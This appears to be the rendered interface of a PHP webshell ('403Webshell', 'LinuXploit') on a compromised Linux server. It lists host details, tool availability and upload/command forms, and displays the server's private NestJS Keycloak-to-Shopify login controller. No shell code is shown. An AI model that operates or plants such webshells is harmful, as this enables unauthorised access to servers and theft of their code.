403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dev/webapps/fivewishes-bridge/src/auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dev/webapps/fivewishes-bridge/src/auth/auth.controller.ts
import { Controller, Get, Query, Res } from '@nestjs/common';
import { ConfigService } from '@nestjs/config';
import type { Response } from 'express';

import { AppError } from '../common/errors';
import { MultipassService } from '../multipass/multipass.service';
import { ShopifyService } from '../shopify/shopify.service';

import { KeycloakOidcService } from './keycloak-oidc.service';
import { PkceService } from './pkce.service';
import { StateService } from './state.service';

@Controller('auth')
export class AuthController {
  constructor(
    private readonly config: ConfigService,
    private readonly keycloak: KeycloakOidcService,
    private readonly stateService: StateService,
    private readonly pkce: PkceService,
    private readonly shopify: ShopifyService,
    private readonly multipass: MultipassService,
  ) {}

  @Get('login')
  login(@Res() res: Response, @Query('return_to') returnTo?: string) {
    const safeReturnTo = this.normalizeReturnTo(returnTo);
    const { state, nonce } = this.stateService.createState({ return_to: safeReturnTo });

    const { codeChallenge, codeChallengeMethod } = this.pkce.create(nonce);
    const url = this.keycloak.buildAuthorizationUrl({
      state,
      nonce,
      codeChallenge,
      codeChallengeMethod,
    });
    return res.redirect(url);
  }

  @Get('forgot-password')
  forgotPassword(
    @Res() res: Response,
    @Query('email') email?: string,
    @Query('return_to') returnTo?: string,
  ) {
    const safeReturnTo = this.normalizeReturnTo(returnTo);
    const base = this.config.get<string>('BASE_URL');
    if (!base) {
      throw new AppError('Missing BASE_URL', { statusCode: 500 });
    }

    const redirectBack = new URL(`${base.replace(/\/+$/g, '')}/auth/login`);
    if (safeReturnTo) redirectBack.searchParams.set('return_to', safeReturnTo);

    const url = this.keycloak.buildResetPasswordUrl({
      redirectUri: redirectBack.toString(),
      loginHint: email,
    });

    return res.redirect(url);
  }

  @Get('callback')
  async callback(
    @Res() res: Response,
    @Query('code') code?: string,
    @Query('state') stateParam?: string,
    @Query('error') error?: string,
    @Query('error_description') errorDescription?: string,
  ) {
    if (error) {
      const msg = errorDescription ? `${error}: ${errorDescription}` : error;
      throw new AppError(msg, { statusCode: 401, expose: true });
    }

    if (!code || !stateParam) {
      throw new AppError('Missing code or state', { statusCode: 400, expose: true });
    }

    const state = this.stateService.verifyState(stateParam);

    const codeVerifier = this.pkce.consumeVerifier(state.nonce);
    if (!codeVerifier) {
      throw new AppError('Missing PKCE verifier (session expired)', { statusCode: 400, expose: true });
    }

    const tokenResponse = await this.keycloak.exchangeCodeForTokens({
      code,
      codeVerifier,
    });
    if (!tokenResponse.id_token) {
      throw new AppError('Missing id_token from Keycloak', { statusCode: 502 });
    }

    const profile = await this.keycloak.verifyAndExtractProfile({
      idToken: tokenResponse.id_token,
      expectedNonce: state.nonce,
      accessToken: tokenResponse.access_token,
    });

    const customerId = await this.shopify.upsertCustomerFromKeycloak(profile);

    const b2bEnabled = this.shopify.isB2bEnabled();
    if (b2bEnabled && !profile.company_id) {
      // eslint-disable-next-line no-console
      console.warn('B2B enabled but Keycloak claim company_id is missing; skipping B2B linking.');
    }

    if (b2bEnabled && profile.company_id) {
      // eslint-disable-next-line no-console
      console.info(`B2B enabled; attempting to link to company ${profile.company_id}`);
      if (this.config.get<boolean>('LOG_KEYCLOAK_CLAIMS')) {
        // eslint-disable-next-line no-console
        console.info('Keycloak roles (mapped)', { roles: profile.roles ?? [] });
      }
      try {
        await this.shopify.ensureB2bAssignment({
          customerId,
          email: profile.email,
          firstName: profile.first_name,
          lastName: profile.last_name,
          companyIdOrExternalId: profile.company_id,
          companyLocationId: profile.company_location_id,
          keycloakRoles: profile.roles,
        });
      } catch (err) {
        // Non-fatal: still allow D2C Multipass login if B2B mapping fails.
        // eslint-disable-next-line no-console
        console.warn('B2B assignment failed; continuing with Multipass login.', err);
      }
    }

    const token = this.multipass.createMultipassToken({
      email: profile.email,
      first_name: profile.first_name,
      last_name: profile.last_name,
      identifier: profile.external_id,
      return_to: state.return_to ?? (profile.company_id ? '/account' : undefined),
    });

    const redirectUrl = this.shopify.buildMultipassRedirectUrl(token);
    return res.redirect(redirectUrl);
  }

  private normalizeReturnTo(returnTo?: string): string | undefined {
    if (!returnTo) return undefined;

    // allow relative paths only
    if (returnTo.startsWith('/') && !returnTo.startsWith('//')) return returnTo;

    return undefined;
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit